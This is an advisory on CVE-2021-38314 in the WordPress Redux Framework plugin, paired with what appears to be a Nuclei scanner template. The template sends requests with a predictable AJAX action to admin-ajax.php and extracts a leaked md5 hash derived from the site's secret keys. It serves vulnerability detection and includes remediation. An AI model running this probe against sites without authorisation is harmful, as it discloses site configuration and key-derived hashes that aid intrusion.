WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 hash of the site URL with a known salt value of -redux and an md5 hash of the previous hash with a known salt value of -support. An attacker can potentially employ these AJAX actions to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of the site's AUTH_KEY concatenated with the SECURE_AUTH_KEY.
PoC代码[已公开]
id: CVE-2021-38314
info:
name: WordPress Redux Framework <=4.2.11 - Information Disclosure
author: meme-lord
severity: medium
description: WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 hash of the site URL with a known salt value of -redux and an md5 hash of the previous hash with a known salt value of -support. An attacker can potentially employ these AJAX actions to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of the site's AUTH_KEY concatenated with the SECURE_AUTH_KEY.
impact: |
An attacker can exploit this vulnerability to gain sensitive information from the target system.
remediation: |
Update WordPress Redux Framework to version 4.2.12 or later.
reference:
- https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/
- https://wahaz.medium.com/unauthenticated-sensitive-information-disclosure-at-redacted-2702224098c
- https://blog.sorcery.ie/posts/redux_wordpress/
- https://nvd.nist.gov/vuln/detail/CVE-2021-38314
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-38314
cwe-id: CWE-916,CWE-200
epss-score: 0.87398
epss-percentile: 0.99424
cpe: cpe:2.3:a:redux:gutenberg_template_library_\&_redux_framework:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: redux
product: gutenberg_template_library_\&_redux_framework
framework: wordpress
tags: cve2021,cve,wordpress,wp-plugin,redux
http:
- raw:
- |
GET /wp-admin/admin-ajax.php?action={{md5(replace('http://HOST/-redux','HOST',Hostname))}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |
GET /wp-admin/admin-ajax.php?action={{md5(replace('https://HOST/-redux','HOST',Hostname))}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
stop-at-first-match: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- "len(body)<50"
- type: regex
name: meme
part: body
regex:
- '[a-f0-9]{32}'
- type: status
status:
- 200
extractors:
- type: regex
regex:
- '[a-f0-9]{32}'
part: body
# digest: 4a0a004730450220457164af4c6da20735b6295ca65e1372994db9b75e1677eabc63dc1d289b3ea1022100be570303f79548c93b07c419ae2ccd63bb375d00f4322351f17f5b6f20b383c3:922c64590222798bb761d5b6d8e72950